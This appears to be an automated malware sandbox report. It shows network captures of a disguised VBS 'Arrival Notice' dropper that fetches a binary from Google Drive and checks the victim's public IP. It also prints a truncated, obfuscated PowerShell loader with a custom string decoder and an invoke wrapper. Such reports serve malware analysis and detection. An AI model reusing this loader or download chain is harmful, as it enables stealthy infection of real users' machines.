2024-04-18 09:07:11 UTC	1255	IN	Data Raw: 63 68 41 52 64 53 51 53 6b 42 64 73 51 6b 47 2f 70 58 76 6d 65 2f 54 2f 73 79 75 33 6d 6d 45 48 54 59 47 67 55 36 65 70 6d 33 7a 35 6e 75 4e 2b 47 6b 63 33 6d 4d 6a 43 65 75 37 75 6c 4c 41 32 77 56 62 4c 55 56 4d 7a 41 4c 30 30 58 38 33 5a 58 76 73 49 30 6d 53 7a 30 66 6d 32 77 59 71 4e 2f 4c 44 72 76 42 58 47 2b 52 62 63 6b 46 69 77 59 6b 35 63 34 54 61 2b 41 2f 47 59 6b 46 67 6a 6f 67 71 77 34 66 53 78 37 37 71 34 73 37 6a 69 55 77 6f 6c 73 54 6d 2f 52 2f 39 7a 4e 34 30 59 49 61 4e 4e 42 4a 7a 4d 4e 6b 4d 4d 2b 6e 65 44 73 71 4c 4b 36 56 69 67 4c 63 2b 34 77 56 58 45 42 53 4d 52 39 73 65 39 79 76 4a 70 68 76 75 73 77 4d 4a 36 37 75 36 55 66 61 65 4e 69 5a 62 53 35 70 65 42 6d 6e 31 67 75 4f 41 36 6f 34 72 6d 37 56 51 41 37 6f 79 52 56 74 4c 6d 6c 34 43 Data Ascii: chARdSQSkBdsQkG/pXvme/T/syu3mmEHTYGgU6epm3z5nuN+Gkc3mMjCeu7ulLA2wVbLUVMzAL00X83ZXvsI0mSz0fm2wYqN/LDrvBXG+RbckFiwYk5c4Ta+A/GYkFgjogqw4fSx77q4s7jiUwolsTm/R/9zN40YIaNNBJzMNkMM+neDsqLK6VigLc+4wVXEBSMR9se9yvJphvuswMJ67u6UfaeNiZbS5peBmn1guOA6o4rm7VQA7oyRVtLml4C
2024-04-18 09:07:11 UTC	1255	IN	Data Raw: 59 38 43 4a 66 61 35 65 61 6c 45 54 4c 6e 44 66 52 48 34 44 34 75 57 43 4e 65 67 68 46 30 6b 38 49 4c 4f 49 2b 42 63 44 6b 46 4c 47 47 56 6e 35 33 34 42 4c 4a 70 51 4a 71 41 51 43 2f 7a 45 39 78 6e 4c 39 4a 4b 4d 44 6a 2f 65 41 2f 74 72 78 38 72 2f 45 51 77 65 4c 6d 37 70 52 4f 32 66 4a 50 67 75 62 75 6c 34 4c 6d 37 70 65 43 35 75 36 58 67 75 62 75 6c 34 46 4c 55 67 79 42 6b 41 6e 59 2f 58 71 6e 68 37 4e 6e 6f 72 72 51 61 4c 59 6c 6a 38 56 49 6b 55 36 31 50 4d 71 58 59 69 4f 46 44 42 30 44 30 57 59 5a 65 4b 79 77 34 53 6c 76 79 48 51 30 6b 43 58 68 4e 6a 35 72 70 4a 79 77 41 75 4c 4d 34 5a 58 37 49 73 36 42 70 68 31 56 51 78 4e 51 57 4d 61 70 6c 6a 49 4c 62 36 68 33 52 34 44 70 54 38 6d 76 42 39 48 43 77 72 4d 54 62 75 45 52 6c 35 51 4e 4d 39 53 62 30 59 Data Ascii: Y8CJfa5ealETLnDfRH4D4uWCNeghF0k8ILOI+BcDkFLGGVn534BLJpQJqAQC/zE9xnL9JKMDj/eA/trx8r/EQweLm7pRO2fJPgubul4Lm7peC5u6Xgubul4FLUgyBkAnY/Xqnh7NnorrQaLYlj8VIkU61PMqXYiOFDB0D0WYZeKyw4SlvyHQ0kCXhNj5rpJywAuLM4ZX7Is6Bph1VQxNQWMapljILb6h3R4DpT8mvB9HCwrMTbuERl5QNM9Sb0Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49713	142.251.15.139	443	7228	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 09:07:57 UTC	216	OUT	GET /uc?export=download&id=1nQic9drH1PbiJHqocgcGVmSGhgio27Iy HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache
2024-04-18 09:07:57 UTC	1582	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 18 Apr 2024 09:07:57 GMT Location: https://drive.usercontent.google.com/download?id=1nQic9drH1PbiJHqocgcGVmSGhgio27Iy&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-dFBStIAnVnQwSqLd3y-8_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49714	142.250.105.132	443	7228	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 09:07:57 UTC	258	OUT	GET /download?id=1nQic9drH1PbiJHqocgcGVmSGhgio27Iy&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-04-18 09:07:58 UTC	4752	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="cpKIhQ152.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, X-Google-EOM, x-goog-ext-124712974-jspb, x-goog-ext-467253834-jspb, x-goog-ext-353267353-bin, x-goog-ext-353267353-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, x-goog-ext-477772811-jspb, x-goog-ext-359275022-bin, x-goog-ext-328800237-jspb, x-goog-ext-202735639-bin, x-goog-ext-223435598-bin, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Request-Time, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, x-goog-maps-api-salt, x-goog-maps-api-signature, x-goog-maps-client-id, X-Goog-Api-Key, x-goog-spanner-database-role, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Android-Cert, X-Goog-Maps-Ios-Uuid, X-Goog-Maps-Android-Uuid, X-Ariane-Xsrf-Token, X-YouTube-Bootstrap-Logged-In, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Desusertion, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-Interop-Cohorts, X-Goog-Meeting-Interop-Type, X-Goog-Meeting-OidcIdToken, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment, x-goog-greenenergyuserappservice-metadata, x-goog-sherlog-context, X-Server-Token, x-rfui-request-context, x-goog-nest-jwt Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 243776 Last-Modified: Tue, 16 Apr 2024 19:09:19 GMT X-GUploader-UploadID: ABPtcPo_DL-tHyYydKc7EJh91HXwm3cIJErF3obwfUCX9E0PXyA98G35GRbGqpeE1COapDLrEbYUzo1iBg Date: Thu, 18 Apr 2024 09:07:58 GMT Expires: Thu, 18 Apr 2024 09:07:58 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=I6FX/g== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-18 09:07:58 UTC	4752	IN	Data Raw: 92 9a e2 b4 a4 53 2e ce ef ff 67 74 14 5a 87 75 48 74 6f cb 9f 9f ee cf 28 c3 8a 6b e8 5d 5f 14 9a 49 c4 7e d3 d1 7f 50 be 47 55 c7 ca 1f eb 18 ca a9 07 2f 8b 9d 4d 64 a1 5a 9c f9 12 5f c8 34 be 3c ef 14 d4 da 3f db 19 29 a2 4b 73 dc 53 63 1f 09 68 45 bd 17 70 b5 30 37 1a c1 40 0f 07 a8 b6 07 81 b2 bb 71 c8 3d 06 27 a7 f3 6c a6 8f 1c a5 8e b7 29 ae d1 aa af 05 94 85 6c 9e 8f 1e 73 e9 9e a0 0d 28 e6 72 66 00 b5 15 83 9c 4a 8b 22 b1 6c 44 04 66 25 fe 02 3d a8 96 c7 87 5c cb bd b9 3d 5e 78 da 2e 6d b6 5b f9 63 5b 81 65 4e 94 39 87 15 1d 6f a8 05 9e 3a 33 2a 57 52 6b c4 fa 69 a9 29 4d f1 76 d3 51 d3 ca 3f 23 37 07 07 74 b5 ba ab 36 18 8b 2b fb f8 85 2c f3 c9 dc 3e c9 7d 82 38 06 39 e0 c2 23 02 d2 35 9c d3 7f bf e6 e3 4a d6 e0 c1 3b 18 05 62 d4 74 28 d6 c1 2f Data Ascii: S.gtZuHto(k]_I~PGU/MdZ_4<?)KsSchEp07@q='l)ls(rfJ"lDf%=\=^x.m[c[eN9o:3*WRki)MvQ?#7t6+,>}89#5J;bt(/
2024-04-18 09:07:58 UTC	4752	IN	Data Raw: d6 88 c2 a2 a7 3b 6c e9 02 ed a3 4c 80 15 a0 3b 74 20 1e 73 48 fd 6a 38 9e 1c a8 f2 cb 7a 88 aa d2 b7 24 8c 43 e4 d1 46 0d 74 cd 32 09 74 80 6c dd 0e fe d3 55 34 9f 77 90 a9 6a 34 2b b6 4b d1 bf 6c 3e 33 fb 41 ba ba 8c 5e e6 1d 45 15 a6 e3 26 13 9d 14 70 4e 2f 0f ff e9 bc 72 63 f2 11 66 6b f7 3b 52 86 38 67 ed 86 8d 96 39 b2 88 70 68 0a 8c 52 89 68 0c 5e 22 50 59 65 79 86 96 c9 ec 58 2d c8 4b 29 ac 9e 44 f6 eb 21 9d 7d 64 8c 91 3c f9 eb 1d 20 67 63 39 a3 8a 7b 30 41 f6 33 aa cc 25 a4 4a 32 a9 b2 93 5a c5 65 9d 0b 4c c1 8a 73 3a 0f f2 c8 f9 2c d0 72 ee 2a db 03 2b 60 34 91 41 5e 4a a3 cb 14 bc d9 99 c7 65 aa 55 37 9b 4c 30 7e 62 88 7e e9 b9 b2 10 64 ef ca a3 bb 8e 6d 44 32 73 ae a0 79 c0 df 21 1f 58 1d 33 bb e6 0b 34 2d 17 ff 62 7f 34 d5 da 3f db e3 28 9b Data Ascii: ;lL;t sHj8z$CFt2tlU4wj4+Kl>3A^E&pN/rcfk;R8g9phRh^"PYeyX-K)D!}d< gc9{0A3%J2ZeLs:,r*+`4A^JeU7L0~b~dmD2sy!X34-b4?(
2024-04-18 09:07:58 UTC	447	IN	Data Raw: 19 00 4f c3 9d 67 b7 cd 29 70 b1 9b 0c fb 99 8e df 06 9d 78 f1 b3 b9 3d d3 64 a6 fa 9b 67 7b 3f b6 2e 00 c5 03 a5 70 1e 60 e1 2c 98 95 0a 50 9d 19 a7 02 08 9c 25 41 77 83 ca 72 71 78 21 37 5d 3c 1e 28 1f 25 95 1a 63 c0 0f 9a fd a3 1d 46 e9 31 d6 7a c5 b2 17 24 96 c0 71 86 1f 7c f0 8c bc 59 08 fd c6 0f 22 09 be 39 0b 20 79 11 90 18 44 7a 99 1b e2 1b a5 99 17 1f 53 ba c9 d5 51 29 b3 60 93 f6 2c 08 48 3d 64 06 94 d0 30 7d 66 ec 6b 54 77 e1 60 b4 0c 95 c6 78 1f 34 2b c6 17 37 00 8e 5f 6b da 80 1e d0 7a 37 78 53 28 99 18 97 23 30 c0 f9 28 a4 82 c2 72 eb 02 19 17 d5 29 83 4b 8a 3d 9c c5 7a 2a e0 7d b6 f1 4a 2f be 16 a8 0c c5 88 89 93 3f bb 28 8c 10 a1 d1 46 0b 0a cf 0b 07 70 a0 67 e5 33 fd 2d 5b 14 85 77 6e a5 94 3a 07 b1 4b 2f b3 9e 3f 2a ff 41 ba ba 01 0e df Data Ascii: Og)px=dg{?.p`,P%Awrqx!7]<(%cF1z$q\|Y"9 yDzSQ)`,H=d0}fkTw`x4+7_kz7xS(#0(r)K=z}J/?(Fpg3-[wn:K/?A
2024-04-18 09:07:58 UTC	1255	IN	Data Raw: b9 70 37 e4 cd 4c 0f 27 bd b6 07 81 4c ba 48 c6 3d 06 27 9f bc 6e a6 8f 3c b3 8e b7 29 50 df a6 af 05 6a 89 60 1e af 0c 73 e7 81 e4 02 11 49 7b ab 21 f3 18 cb 51 43 e0 4a d8 15 e8 30 14 4a 98 8e 52 c5 b6 84 f5 32 a5 d2 33 13 30 1d fa a2 14 d4 7b b0 04 7b c5 2a e3 b5 6d fe 71 78 41 5b 04 91 1e 1b 69 57 52 61 3a f4 39 ec 09 47 bd 77 d0 af 96 b7 3e 45 c9 0b 0b 74 95 b0 ab 36 f8 75 28 c3 fd 84 27 f3 f1 af 3c c9 7d aa 33 06 39 e0 3c 2d 40 1e 36 62 df 53 bf c6 fb aa d5 e0 3f 3a 61 25 62 f4 74 d6 da c7 2f 0f 5a ad 74 b3 29 20 25 e3 bd 4d df 52 7f 3b ce 9a 2c 6e 83 1b 27 d5 4b 70 ca 87 ba 93 e9 02 89 52 48 8c da e1 80 78 cb ea a8 0f 52 02 81 ac 92 12 06 b7 66 a5 67 58 4b fc 38 5c e8 a0 28 0a 24 18 e0 6d a7 9e f9 33 16 33 7a 7c 2c 1d c1 74 ab c9 2b c9 6e 8e b5 2b Data Ascii: p7L'LH='n<)Pj`sI{!QCJ0JR230{{*mqxA[iWRa:9Gw>Et6u('<}39<-@6bS?:a%bt/Zt) %MR;,n'KpRHxRfgXK8\($m33z\|,t+n+
2024-04-18 09:07:58 UTC	1255	IN	Data Raw: a6 71 10 a5 8e 97 2b ae d1 aa 51 04 ad 8a 6c 1e 8f 3e 72 e7 81 1a 29 08 51 7b ab 21 f3 1a cf 51 6b 21 46 d8 1f 44 74 14 4a 99 8e 5d fc bc a4 e6 32 a5 f2 cc 1d 3c 1d 04 52 18 d8 7b 6e 01 7b c5 0a 1a b4 54 e8 8f 79 78 a0 08 94 1e 0b 2f 57 52 6b fc 24 c7 13 d6 6d bd 77 d0 51 b2 bb 3e 5e 07 05 07 ef b5 ba ab 3e f8 8b 38 da f3 84 27 f3 37 7c 3f c9 45 de 38 06 39 e0 3c 2f 4e 1e 16 9d d3 5f bf 18 e2 93 c7 e0 c1 3b 78 05 62 f4 74 d6 d8 c3 2f ff 50 ad 74 b2 ff 15 27 e3 b7 9b ef 50 7f 11 30 94 2c 6e 5d 03 1e df 4b 8e c4 8b 9a 92 17 0e 85 ac 66 86 da e1 7e 8a c8 d3 9e 0d 52 02 7f 5e 97 2b 2b f3 66 a5 55 a3 45 f9 38 44 46 5f d7 f5 f2 5b ec 6d ad 0f bb 3f 16 19 a7 71 2c 1d 17 45 92 c7 2d ef 90 96 4b 25 dc 30 09 3a 09 fb 2b a4 e6 20 1b e5 a7 27 0b 12 a2 cf 43 c0 30 cf Data Ascii: q+Ql>r)Q{!Qk!FDtJ]2<R{n{Tyx/WRk$mwQ>^>8'7\|?E89</N_;xbt/Pt'P0,n]Kf~R^++fUE8DF_[m?q,E-K%0:+ 'C0
2024-04-18 09:07:58 UTC	1255	IN	Data Raw: fc 08 52 7b ab 21 27 0f ff 53 6b ac 48 d8 1f 68 74 14 5b b9 70 5c c5 b6 5a e8 35 a5 ea 96 1f 3c 1d fa a2 14 df 7b b0 0c 7b c5 2a e3 b5 6d ff 71 78 41 d7 e4 90 1e 43 59 02 52 6b ce 04 37 ec 29 6d bf 77 d0 51 66 b5 39 45 37 f9 0b 73 b5 9a a9 36 f8 8b d7 fb ca 75 26 f3 c9 8c 31 c9 7d e5 6e 06 39 ea 3c 2d 4d 1e c8 90 d2 5f d0 b1 e3 aa df 1e cf 3e 58 3d d0 f4 74 28 28 cf 2a df 3d f5 74 b2 0b e5 2b e1 b7 9b ef 50 7f 43 02 91 2c 1e cc 5b 27 d5 41 e1 ed 8b ba 99 78 54 85 52 62 f6 96 e4 80 f6 e2 88 be 0f 58 3b 58 a0 96 12 d0 ff 64 a5 1f de 40 f9 48 13 b8 a0 28 00 b5 3f ec 6d ad 0f a9 3f 16 19 2b f8 29 1d 4f 1a c3 c7 2b c3 54 d3 4b 25 22 c0 04 38 d4 87 19 a1 e6 76 8a b0 a7 27 ff 73 8a cf 9e ca 5f 95 f6 68 8f 64 06 10 8d 45 c1 b0 ab 46 94 be d5 b3 f5 c8 53 20 48 46 Data Ascii: R{!'SkHht[p\Z5<{{mqxACYRk7)mwQf9E7s6u&1}n9<-M_>X=t((=t+PC,['AxTRbX;Xd@H(?m?+)O+TK%"8v's_hdEFS HF
2024-04-18 09:07:58 UTC	1255	IN	Data Raw: c6 b6 a4 18 3e a6 d2 ed 1e 3c 1d fa a2 19 e1 64 90 0d 7b 3b 26 1c b4 aa e1 70 78 69 c7 08 94 14 47 39 57 52 69 3a f4 3b ec 09 49 bd 77 d0 af 96 b8 3e 45 c9 0b 04 74 95 ba ab 36 f8 75 28 c3 f9 84 27 f3 c9 52 3c c9 7d 8a c6 08 3a e0 c2 dd 40 1d 36 bc d5 5f bf e6 1d ab ec e5 c1 3b 58 3d 67 f4 74 28 ee 35 d1 20 ad 87 74 b2 01 08 15 e0 b7 7c e2 52 7f 3f 30 94 3d 4e a3 02 27 d5 b5 80 c7 8b 82 96 16 0e 85 52 96 88 d9 e1 a0 83 ca d3 be f1 53 3b 69 a0 96 12 d0 ff 66 a5 93 aa 44 f9 78 36 e1 a0 28 2a dc 16 ec 6d 59 6e f6 3f 16 ed 55 7f 2c 3d 3c 75 92 c7 d5 c8 57 85 4b 25 22 c0 04 3b d4 0b 22 a5 e6 2e f4 e9 a7 2d 81 08 a3 cf 9c 3e 3e cd f6 48 81 16 92 15 73 3b ad e1 ab b8 92 87 f7 93 f7 c8 ad 2c b4 47 45 82 ee 41 55 b1 0c 0c 54 e0 ca c6 84 fe b1 7f 5d 28 e3 ac 1e c5 Data Ascii: ><d{;&pxiG9WRi:;Iw>Et6u('R<}:@6_;X=gt(5 t\|R?0=N'RS;ifDx6(*mYn?U,=<uWK%";".->>Hs;,GEAUT](
2024-04-18 09:07:58 UTC	1255	IN	Data Raw: 4a 55 d1 74 78 41 a5 30 91 1e 33 2a 6f 8c 96 3b 05 47 8c 29 4d b7 89 d9 50 98 45 37 47 37 f9 0e 77 b5 92 97 36 f8 8d 03 fa e8 b4 22 f3 d9 73 3d c9 6d 8a 38 17 19 e0 c2 23 4c e0 38 9f d3 67 cc e6 e3 aa d5 1e cd 38 58 25 63 f4 74 28 28 c2 16 cd 52 ad 74 92 01 1b 25 e3 49 6b e3 52 5f 33 30 94 2c 90 ad 01 27 d5 b5 82 c7 8b 9a 91 17 0e 85 ac 69 bd d4 e1 80 86 f2 69 be 0f 52 22 7c a0 96 12 d0 fd 65 a5 6d 58 49 fa 38 5c e1 a0 28 0a 24 17 d5 67 a7 60 f5 3f 36 12 59 7c 2c e3 31 76 92 c7 d5 c5 6d 9a 6b 26 22 3e 08 c4 d5 cc 2e a4 e6 06 dd ec a7 27 f5 24 2b 30 61 3f 18 82 f6 68 8f 79 f1 15 8d 3f c1 85 ab 46 94 7a f9 b2 f5 36 a1 2d 4a 6e 42 93 ee 47 ab 41 02 0c aa 17 c4 c7 a4 d3 b2 7f 5d d6 14 a2 1d be b6 db e0 41 ec 1e 1e 3d c9 61 29 58 12 7c 8a f5 56 35 dc b8 57 4c Data Ascii: JUtxA03*o;G)MPE7G7w6"s=m8#L8g8X%ct((Rt%IkR_30,'iiR"\|emXI8\($g`?6Y\|,1vmk&">.'$+0a?hy?Fz6-JnBGA]A=a)X\|V5WL
2024-04-18 09:07:58 UTC	1255	IN	Data Raw: 77 d0 4a a8 b9 3e a5 37 07 07 65 b5 ba ba 16 f8 8b 29 fa 0d 8a 25 f3 f1 f3 3d c9 7d 8a c6 0a 3b e0 e2 22 4c 1e 36 62 d2 66 a3 e6 e3 aa 2b e9 c1 3b 23 71 62 f4 70 00 b8 c3 2f d5 68 00 74 b2 01 3b 27 e3 b7 65 1d 5c 7d 31 30 6a 20 6c a3 22 25 d5 4b 8e 3a 8a 83 81 17 0e 85 72 68 84 da e1 7e 88 ca d3 9e 0c 52 02 7f 5e 98 10 2e f3 98 a9 6f a6 65 f9 38 7c e1 5e 29 33 d0 16 ec 6d a7 40 f4 3f 16 13 a7 72 2e 1d 3f 8b 9e c5 2b e9 6d 9a 4b 25 dc 3f 31 3f d4 f5 2b 9c e3 06 e5 e9 9f 5d 0a e3 5c 31 97 c0 30 b4 83 68 85 12 b7 eb 83 34 ae 1f a6 46 9e ac 98 b3 f5 c2 53 25 4a 46 07 e7 ee 41 51 67 06 0c 54 18 3a ce 84 de c0 44 5f 28 6d df 69 c5 d3 df 3d 56 12 12 1c c3 e5 61 29 61 1b 54 b1 f5 a8 3f a0 de 7f 3c c1 d9 93 fe 5a d4 16 6d db 2c de 62 f3 5a b3 c6 42 1a 84 12 7b 9c Data Ascii: wJ>7e)%=};"L6bf+;#qbp/ht;'e\}10j l"%K:rh~R^.oe8\|^)3m@?r.?+mK%?1?+]\10h4FS%JFAQgT:D_(mi=Va)aT?<Zm,bZB{
2024-04-18 09:07:58 UTC	1255	IN	Data Raw: f3 c9 78 40 bd 7d 8a 3c 26 53 e0 c2 23 b2 10 36 9c d3 a1 b3 e6 e3 8a 8d e0 c1 3b a6 04 5b d6 74 28 d6 3d 26 df 52 88 0f c6 01 1b 21 91 d7 63 e3 22 57 2d 30 94 26 13 d7 02 27 d1 6b d7 c4 8b ba 6d 19 0e 85 52 96 88 da e1 a0 8f ca d3 be f1 53 3b 5c a0 96 12 d0 fa 66 a5 45 e8 45 f9 3e 82 e8 a1 28 2a a9 16 ec 6d 59 61 aa 06 86 13 59 7c 0c 17 3f 75 92 39 25 c9 6e 9a b5 29 22 3e 28 73 d4 f5 2b 5a e7 3f c7 e9 a7 27 0b 15 a3 cf bb bb 44 cf f6 6c f7 7a 94 15 fd 1d b2 e1 ab 4c e3 f0 f7 b3 f1 e8 e7 2c 4a 46 82 9d ee 41 55 b1 0c 0c 54 3e 8a c7 84 de 4c 7e 64 3f 1d a2 1d 3b da da e0 65 64 12 1c 3d a9 fc 20 58 12 74 fe f5 56 33 5f d0 57 4c c1 27 95 22 70 f5 03 6d db 2e 20 f7 ca 68 7f c6 51 30 a4 14 7b 8f 24 02 f9 76 57 14 7b 54 40 f1 3f 60 b5 01 cd d9 33 60 cb 88 ef e7 Data Ascii: x@}<&S#6;[t(=&R!c"W-0&'kmRS;\fEE>(*mYaY\|?u9%n)">(s+Z?'DlzL,JFAUT>L~d?;ed= XtV3_WL'"pm. hQ0{$vW{T@?`3`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49715	104.26.13.205	443	7228	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 09:07:59 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-18 09:07:59 UTC	211	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 09:07:59 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 876381fb59271d6a-ATL
2024-04-18 09:07:59 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

Target ID:	1
Start time:	11:06:51
Start date:	18/04/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Arrival Notice PUS_pdf.vbs"
Imagebase:	0x7ff74f590000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:06:53
Start date:	18/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff72d8c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:07:04
Start date:	18/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn 